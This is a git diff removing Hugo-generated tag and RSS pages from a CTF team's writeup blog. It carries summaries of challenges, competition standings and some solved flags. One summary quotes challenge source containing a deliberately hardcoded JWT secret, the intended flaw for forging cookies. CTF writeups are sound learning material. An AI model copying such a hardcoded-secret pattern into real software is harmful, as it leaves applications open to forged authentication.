http://localhost:1313/writeups/sekaictf2024/crackme/ - Crack Me Description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag? -Introduction First rev ctf of Sekai 2024 with an apk attached, so we have a mobile challenge on our hands. The first thing to do (which I strongly advise against in a real environment) is to download and install the app to get a quick overview of what it does. - - - - \ No newline at end of file diff --git a/public/tags/rev/mobile/index.html b/public/tags/rev/mobile/index.html deleted file mode 100644 index ff428988..00000000 --- a/public/tags/rev/mobile/index.html +++ /dev/null @@ -1,246 +0,0 @@ - - - - - - - - Rev/Mobile - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Rev/Mobile

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/rev/mobile/index.xml b/public/tags/rev/mobile/index.xml deleted file mode 100644 index 8ffa4980..00000000 --- a/public/tags/rev/mobile/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Rev/Mobile on ByteTheCookies - http://localhost:1313/tags/rev/mobile/ - Recent content in Rev/Mobile on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:19 +0200 - - Crack Me - http://localhost:1313/writeups/sekaictf2024/crackme/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/crackme/ - Crack Me Description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: SEKAI{15_React_N@71v3_R3v3rs3_H@RD???} Author: akiidjk - - - - \ No newline at end of file diff --git a/public/tags/rev/mobile/page/1/index.html b/public/tags/rev/mobile/page/1/index.html deleted file mode 100644 index b5895d74..00000000 --- a/public/tags/rev/mobile/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/rev/mobile/ - - - - - - diff --git a/public/tags/rev/page/1/index.html b/public/tags/rev/page/1/index.html deleted file mode 100644 index 9ee3ae97..00000000 --- a/public/tags/rev/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/rev/ - - - - - - diff --git a/public/tags/reverse-engineering/index.html b/public/tags/reverse-engineering/index.html deleted file mode 100644 index 0b2fe95b..00000000 --- a/public/tags/reverse-engineering/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Reverse Engineering - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Reverse Engineering

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/reverse-engineering/index.xml b/public/tags/reverse-engineering/index.xml deleted file mode 100644 index 3c0e4d01..00000000 --- a/public/tags/reverse-engineering/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Reverse Engineering on ByteTheCookies - http://localhost:1313/tags/reverse-engineering/ - Recent content in Reverse Engineering on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Jun 2025 18:30:32 +0200 - - CornCTF 2025 - http://localhost:1313/writeups/cornctf2025/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ - CornCTF 2025 Description A CTF by a friendly team of farmers. Includes challenges of the following categories: -Url Discord Performance Summary CTFs: 8/22 Total points: 1966 Position: 9/270 Rating points: 8.811 Writeups Crypto ECRSA Web Aeronaut Simple-chat - - - - \ No newline at end of file diff --git a/public/tags/reverse-engineering/page/1/index.html b/public/tags/reverse-engineering/page/1/index.html deleted file mode 100644 index e5ad9860..00000000 --- a/public/tags/reverse-engineering/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/reverse-engineering/ - - - - - - diff --git a/public/tags/reverse/index.html b/public/tags/reverse/index.html deleted file mode 100644 index fbddc438..00000000 --- a/public/tags/reverse/index.html +++ /dev/null @@ -1,329 +0,0 @@ - - - - - - - - - - - Reverse - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Reverse

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/reverse/index.xml b/public/tags/reverse/index.xml deleted file mode 100644 index 7b60bcc8..00000000 --- a/public/tags/reverse/index.xml +++ /dev/null @@ -1,97 +0,0 @@ - - - - Reverse on ByteTheCookies - http://localhost:1313/tags/reverse/ - Recent content in Reverse on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:51:39 +0100 - - DroidCryptor - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - Mon, 23 Dec 2024 16:51:39 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - DroidCryptor Description: One of my friends told me about this application that promised to keep your data safe. When I tried to encrypt the data I found out later that there is no way to decrypt it! Can you retrieve my message? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - PatriotCTF 2024 - http://localhost:1313/writeups/patriotctf2024/ - Fri, 27 Sep 2024 17:24:46 +0200 - - http://localhost:1313/writeups/patriotctf2024/ - Patrioc CTF 2024 Description PatriotCTF is an online jeopardy-style CTF hosted by George Mason University&rsquo;s Competitive Cyber Club. All are welcome to participate, including students and security professionals. Challenges will range from beginner to expert, so there should be something for everyone. -Url Discord Performance Summary CTFs: 32/65 Total points: 5308 Position: 63/1360 Rating points: 9.735 Writeups No writeups today&hellip; - - - - Snake - http://localhost:1313/writeups/cyberspace2024/snake/ - Mon, 02 Sep 2024 10:59:36 +0200 - - http://localhost:1313/writeups/cyberspace2024/snake/ - Snake Description: Can you slither to the win? -Link to the binary: Elf file -Introduction We are faced with a binary file written in Rust (you can see it by simply running strings snake | grep rustc) where we are made to play Snake, the goal is to get PRECISELY to 16525 points. -Solution The solutions were actually different, some people used tools to analyze the memory of a process in real time, I preferred a &lsquo;slower&rsquo; approach, or rather the first thing that came to mind, so I opened binary ninja despite the file being stripped and looked for a value for constant exactly 0xa (i. - - - - CyberSpace CTF 2024 - http://localhost:1313/writeups/cyberspace2024/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/writeups/cyberspace2024/ - CyberSpace CTF 2024 Description Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf! -Url Discord Performance Summary CTFs: 21/63 Total points: 2032 Position: 83/830 Rating points: 3.355 Writeups Crypto trendy windy trigonity Web ZipZone FeatureUnlocked Trendz (part 1 and 2) Rev Snake - - - - SekaiCTF 2024 - http://localhost:1313/writeups/sekaictf2024/ - Mon, 26 Aug 2024 16:58:34 +0200 - - http://localhost:1313/writeups/sekaictf2024/ - SekaiCTF 2024 Description SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side. -Url Discord Performance Summary CTFs: 3/34 Total points: 369 Position: 136/1230 Rating points: 2.721 Writeups Rev CrackMe Crypto Some trick PPC (Professional Programming &amp; Coding) Miku vs. - - - - IdekCTF 2024 - http://localhost:1313/writeups/idekctf2024/ - Sun, 18 Aug 2024 12:58:37 +0200 - - http://localhost:1313/writeups/idekctf2024/ - IdekCTF 2024 Description idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories. -Url Discord Performance Summary CTFs: 6/35 Total points: 732 Position: 101/1070 Rating points: 5.405 Writeups Web Hello - - - - Lexington Informatics Tournament CTF 2024 - http://localhost:1313/writeups/litctf2024/ - Tue, 13 Aug 2024 12:20:57 +0200 - - http://localhost:1313/writeups/litctf2024/ - Lexington Informatics Tournament CTF Description Lexington Informatics Tournament CTF 2024 is a Jeopardy-style, beginner-friendly online CTF that&rsquo;s open to everyone. -Url Discord Performance Summary CTFs: 18/32 Total points: 2068 Position: 95/830 Rating points: 19.095 Writeups Web Kirbytime - - - - N00bzCTF 2024 - http://localhost:1313/writeups/n00bzctf2024/ - Mon, 05 Aug 2024 18:26:54 +0200 - - http://localhost:1313/writeups/n00bzctf2024/ - N00bz CTF 2024 Description A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz. -Url Discord Performance Summary CTFs: 31/32 Total points: 9794.000 Position: 24/967 Rating points: 24.067 Writeups Web File Sharing Portal Misc Waas - - - - \ No newline at end of file diff --git a/public/tags/reverse/page/1/index.html b/public/tags/reverse/page/1/index.html deleted file mode 100644 index 3f87d4f2..00000000 --- a/public/tags/reverse/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/reverse/ - - - - - - diff --git a/public/tags/reverse/page/2/index.html b/public/tags/reverse/page/2/index.html deleted file mode 100644 index c10d2a42..00000000 --- a/public/tags/reverse/page/2/index.html +++ /dev/null @@ -1,311 +0,0 @@ - - - - - - - - - - - Reverse - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Reverse

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/reversing/index.html b/public/tags/reversing/index.html deleted file mode 100644 index 5ed6a5d3..00000000 --- a/public/tags/reversing/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Reversing - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Reversing

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/reversing/index.xml b/public/tags/reversing/index.xml deleted file mode 100644 index 9fe13573..00000000 --- a/public/tags/reversing/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Reversing on ByteTheCookies - http://localhost:1313/tags/reversing/ - Recent content in Reversing on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 29 Jul 2025 09:09:33 +0200 - - Word Wide Flag CTF 2025 - http://localhost:1313/writeups/wwfctf2025/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/writeups/wwfctf2025/ - World Wide CTF 2025 Description Hack, solve, and conquer — a CTF designed to challenge minds of all levels. World Wide Flags is back this year with World Wide CTF 2025! -More Prizes, More Categories, and Much More Fun! -Url Discord Performance Summary CTFs: 20/57 Total points: 6537 Position: 24/850 Rating points: 12.510 Writeups Web &amp; Web3 Blank Login Solidity Jail 1 - - - - \ No newline at end of file diff --git a/public/tags/reversing/page/1/index.html b/public/tags/reversing/page/1/index.html deleted file mode 100644 index ce7c1f01..00000000 --- a/public/tags/reversing/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/reversing/ - - - - - - diff --git a/public/tags/rex/index.html b/public/tags/rex/index.html deleted file mode 100644 index c9441415..00000000 --- a/public/tags/rex/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Rex - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Rex

- - - -
- - -
-

2024

- -
    - -
  • - ZipZone - - - 09/02 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/rex/index.xml b/public/tags/rex/index.xml deleted file mode 100644 index 80f31364..00000000 --- a/public/tags/rex/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Rex on ByteTheCookies - http://localhost:1313/tags/rex/ - Recent content in Rex on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:17 +0200 - - ZipZone - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Mon, 02 Sep 2024 10:59:17 +0200 - - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Zipzone Description: I was tired of trying to find a good file server for zip files, so I made my own! It&rsquo;s still a work in progress, but I think it&rsquo;s pretty good so far. -Link: https://zipzone-web.challs.csc.tf/ -Introduction ZipZone is the only one web in the beginner&rsquo;s category and, as the title suggests, you have to upload zip files that will be unzipped later, so you have to download the extracted files afterwards. - - - - \ No newline at end of file diff --git a/public/tags/rex/page/1/index.html b/public/tags/rex/page/1/index.html deleted file mode 100644 index cfdb3c5f..00000000 --- a/public/tags/rex/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/rex/ - - - - - - diff --git a/public/tags/rising/index.html b/public/tags/rising/index.html deleted file mode 100644 index 9c6701ef..00000000 --- a/public/tags/rising/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Rising - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Rising

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/rising/index.xml b/public/tags/rising/index.xml deleted file mode 100644 index cac255f6..00000000 --- a/public/tags/rising/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Rising on ByteTheCookies - http://localhost:1313/tags/rising/ - Recent content in Rising on ByteTheCookies - Hugo -- gohugo.io - en - Sat, 21 Dec 2024 18:23:00 +0200 - - SmallAuth - http://localhost:1313/writeups/m0lecon2025beginner/smallauth/ - Sat, 21 Dec 2024 18:23:00 +0200 - - http://localhost:1313/writeups/m0lecon2025beginner/smallauth/ - SmallAuth Description: I am trying to authenticate but I totally forgot the password, I am screwed!! -Introduction SmallAuth was a crypto CTF from ## m0leCon 2025 Beginner CTF organized by pwnthem0le. -from secret import flag, password import signal from Crypto.Util.number import ( bytes_to_long, long_to_bytes, getRandomRange, ) from hashlib import sha256 import os p = 5270716116965698502689689671130781219142402682027195438035167686031865721400130496197382604002325978977917823871038888373085118354500422489134429970793096193438377786459821943518301475690713718745453633483219759953295608491564410082912515903134742148257215875373630412689071144760281744294536079770426517968527527493218935968663682019557492826204481612047410320146277333682801905360248457200458458982939490478875010628228329816347137904546340745621643293109290190631986349878770000332829974864263568375989597228583046155053640478805958492876860588535257030218304135983005840752161675722091031537527270835889607480661582626985375282908187505873350960702103509549729997875801557977556414403796543012974965425751833424162010931383924392626875437842811285456196644742198291857617009931030974156758885265756942730260677252867252555430773014258836269996233420470473918801854039549216620237517053340745984578639983387808534554731327 assert len(password) &gt; 64 def timeout_handler(_1, _2): raise TimeoutError class AuthProtocol: def __init__(self, password: bytes): super(). - - - - \ No newline at end of file diff --git a/public/tags/rising/page/1/index.html b/public/tags/rising/page/1/index.html deleted file mode 100644 index b6d46b5d..00000000 --- a/public/tags/rising/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/rising/ - - - - - - diff --git a/public/tags/rust/index.html b/public/tags/rust/index.html deleted file mode 100644 index 5263a005..00000000 --- a/public/tags/rust/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Rust - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Rust

- - - -
- - -
-

2024

- -
    - -
  • - Snake - - - 09/02 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/rust/index.xml b/public/tags/rust/index.xml deleted file mode 100644 index 3b7e03bb..00000000 --- a/public/tags/rust/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Rust on ByteTheCookies - http://localhost:1313/tags/rust/ - Recent content in Rust on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:36 +0200 - - Snake - http://localhost:1313/writeups/cyberspace2024/snake/ - Mon, 02 Sep 2024 10:59:36 +0200 - - http://localhost:1313/writeups/cyberspace2024/snake/ - Snake Description: Can you slither to the win? -Link to the binary: Elf file -Introduction We are faced with a binary file written in Rust (you can see it by simply running strings snake | grep rustc) where we are made to play Snake, the goal is to get PRECISELY to 16525 points. -Solution The solutions were actually different, some people used tools to analyze the memory of a process in real time, I preferred a &lsquo;slower&rsquo; approach, or rather the first thing that came to mind, so I opened binary ninja despite the file being stripped and looked for a value for constant exactly 0xa (i. - - - - \ No newline at end of file diff --git a/public/tags/rust/page/1/index.html b/public/tags/rust/page/1/index.html deleted file mode 100644 index eeaf0921..00000000 --- a/public/tags/rust/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/rust/ - - - - - - diff --git a/public/tags/sage/index.html b/public/tags/sage/index.html deleted file mode 100644 index 2252a9f3..00000000 --- a/public/tags/sage/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Sage - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Sage

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/sage/index.xml b/public/tags/sage/index.xml deleted file mode 100644 index 4f340851..00000000 --- a/public/tags/sage/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Sage on ByteTheCookies - http://localhost:1313/tags/sage/ - Recent content in Sage on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:58:30 +0200 - - trendy windy trigonity - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - Mon, 02 Sep 2024 10:58:30 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - Trendy windy trigonity Description: have you seen Tan challenge before? see maple version pi documentation! -Introduction trendy windy trigonity was a crypto CTF CyberSpace CTF 2024 added during the second wave. -from Crypto.Util.number import bytes_to_long flag = REDACTED print(len(flag)) R = RealField(1000) a, b = bytes_to_long(flag[:len(flag)//2]), bytes_to_long(flag[len(flag)//2:]) x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100) enc = a*cos(x)+b*sin(x) # 38 # 2.78332652222000091147933689155414792020338527644698903976732528036823470890155538913578083110732846416012108159157421703264608723649277363079905992717518852564589901390988865009495918051490722972227485851595410047572144567706501150041757189923387228097603575500648300998275877439215112961273516978501e45 The challenge uses sagemath to handle high precision floating point numbers, in this case a RealField with 1000 bits of precision. - - - - \ No newline at end of file diff --git a/public/tags/sage/page/1/index.html b/public/tags/sage/page/1/index.html deleted file mode 100644 index 32cd9c3c..00000000 --- a/public/tags/sage/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/sage/ - - - - - - diff --git a/public/tags/sahu/index.html b/public/tags/sahu/index.html deleted file mode 100644 index 2540fb75..00000000 --- a/public/tags/sahu/index.html +++ /dev/null @@ -1,246 +0,0 @@ - - - - - - - - Sahu - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Sahu

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/sahu/index.xml b/public/tags/sahu/index.xml deleted file mode 100644 index b668de35..00000000 --- a/public/tags/sahu/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Sahu on ByteTheCookies - http://localhost:1313/tags/sahu/ - Recent content in Sahu on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:19 +0200 - - Crack Me - http://localhost:1313/writeups/sekaictf2024/crackme/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/crackme/ - Crackme Description: &hellip; -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/sahu/page/1/index.html b/public/tags/sahu/page/1/index.html deleted file mode 100644 index 0ab5cbb8..00000000 --- a/public/tags/sahu/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/sahu/ - - - - - - diff --git a/public/tags/sahuang/index.html b/public/tags/sahuang/index.html deleted file mode 100644 index 2058eba9..00000000 --- a/public/tags/sahuang/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Sahuang - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Sahuang

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/sahuang/index.xml b/public/tags/sahuang/index.xml deleted file mode 100644 index e0ff72c2..00000000 --- a/public/tags/sahuang/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Sahuang on ByteTheCookies - http://localhost:1313/tags/sahuang/ - Recent content in Sahuang on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:19 +0200 - - Crack Me - http://localhost:1313/writeups/sekaictf2024/crackme/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/crackme/ - Crack Me Description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag? -Introduction First rev ctf of Sekai 2024 with an apk attached, so we have a mobile challenge on our hands. The first thing to do (which I strongly advise against in a real environment) is to download and install the app to get a quick overview of what it does. - - - - \ No newline at end of file diff --git a/public/tags/sahuang/page/1/index.html b/public/tags/sahuang/page/1/index.html deleted file mode 100644 index 1c7b91fe..00000000 --- a/public/tags/sahuang/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/sahuang/ - - - - - - diff --git a/public/tags/salvatore-abello/index.html b/public/tags/salvatore-abello/index.html deleted file mode 100644 index 9e0030ea..00000000 --- a/public/tags/salvatore-abello/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Salvatore Abello - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Salvatore Abello

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/salvatore-abello/index.xml b/public/tags/salvatore-abello/index.xml deleted file mode 100644 index d4030776..00000000 --- a/public/tags/salvatore-abello/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - Salvatore Abello on ByteTheCookies - http://localhost:1313/tags/salvatore-abello/ - Recent content in Salvatore Abello on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 11 Mar 2025 18:12:32 +0100 - - Online Python Editor - http://localhost:1313/writeups/trx2025/onlinepythoneditor/ - Tue, 11 Mar 2025 18:12:32 +0100 - - http://localhost:1313/writeups/trx2025/onlinepythoneditor/ - Online Python Editor Description: If you&rsquo;re tired of fast and good-looking editors, try this. Now with extra crispiness! -Introduction This is the first web in the TRX2025 CTF. And it&rsquo;s basically a simple online Python editor with a syntax checker. -Source Go to the source code and we can immediately see two things: -In a file called secret.py, which is never called, read or otherwise used. -The main app.py file - - - - \ No newline at end of file diff --git a/public/tags/salvatore-abello/page/1/index.html b/public/tags/salvatore-abello/page/1/index.html deleted file mode 100644 index 2405031b..00000000 --- a/public/tags/salvatore-abello/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/salvatore-abello/ - - - - - - diff --git "a/public/tags/schr\303\266dy/index.html" "b/public/tags/schr\303\266dy/index.html" deleted file mode 100644 index d5a67233..00000000 --- "a/public/tags/schr\303\266dy/index.html" +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Schrödy - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Schrödy

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git "a/public/tags/schr\303\266dy/index.xml" "b/public/tags/schr\303\266dy/index.xml" deleted file mode 100644 index e129e342..00000000 --- "a/public/tags/schr\303\266dy/index.xml" +++ /dev/null @@ -1,22 +0,0 @@ - - - - Schrödy on ByteTheCookies - http://localhost:1313/tags/schr%C3%B6dy/ - Recent content in Schrödy on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:49:40 +0100 - - GoSecureIt - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - Mon, 23 Dec 2024 16:49:40 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - GoSecureIt Description: I&rsquo;ve found this website under construction, at the moment you can only register, but I think there&rsquo;s something strange in the cookie -Introduction We are faced with an application written in go, not very complex with several files, but already looking at the folder tree we see the secret folder with secret.go inside and this code -Source // filename: secret.go package secret var JwtSecretKey = []byte(&quot;schrody_is_always_watching&quot;) // I don't know why it's called secret, I'll just leave it here :) Obviously this is the cookie secret, but interacting with the web application there is not much to do, so it is worth checking other files, especially in Golang, when using the Gin framework it is often used to define routes in the main. - - - - \ No newline at end of file diff --git "a/public/tags/schr\303\266dy/page/1/index.html" "b/public/tags/schr\303\266dy/page/1/index.html" deleted file mode 100644 index f0006391..00000000 --- "a/public/tags/schr\303\266dy/page/1/index.html" +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/schr%C3%B6dy/ - - - - - - diff --git a/public/tags/sekai/index.html b/public/tags/sekai/index.html deleted file mode 100644 index 5a601c61..00000000 --- a/public/tags/sekai/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Sekai - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Sekai

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/sekai/index.xml b/public/tags/sekai/index.xml deleted file mode 100644 index c10514ee..00000000 --- a/public/tags/sekai/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Sekai on ByteTheCookies - http://localhost:1313/tags/sekai/ - Recent content in Sekai on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 16:58:34 +0200 - - SekaiCTF 2024 - http://localhost:1313/writeups/sekaictf2024/ - Mon, 26 Aug 2024 16:58:34 +0200 - - http://localhost:1313/writeups/sekaictf2024/ - SekaiCTF 2024 Description SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side. -Url Discord Performance Summary CTFs: 3/34 Total points: 369 Position: 136/1230 Rating points: 2.721 Writeups Rev CrackMe Crypto Some trick PPC (Professional Programming &amp; Coding) Miku vs. - - - - \ No newline at end of file diff --git a/public/tags/sekai/page/1/index.html b/public/tags/sekai/page/1/index.html deleted file mode 100644 index 0db6985f..00000000 --- a/public/tags/sekai/page/1/index.html +++ /dev/null @@ 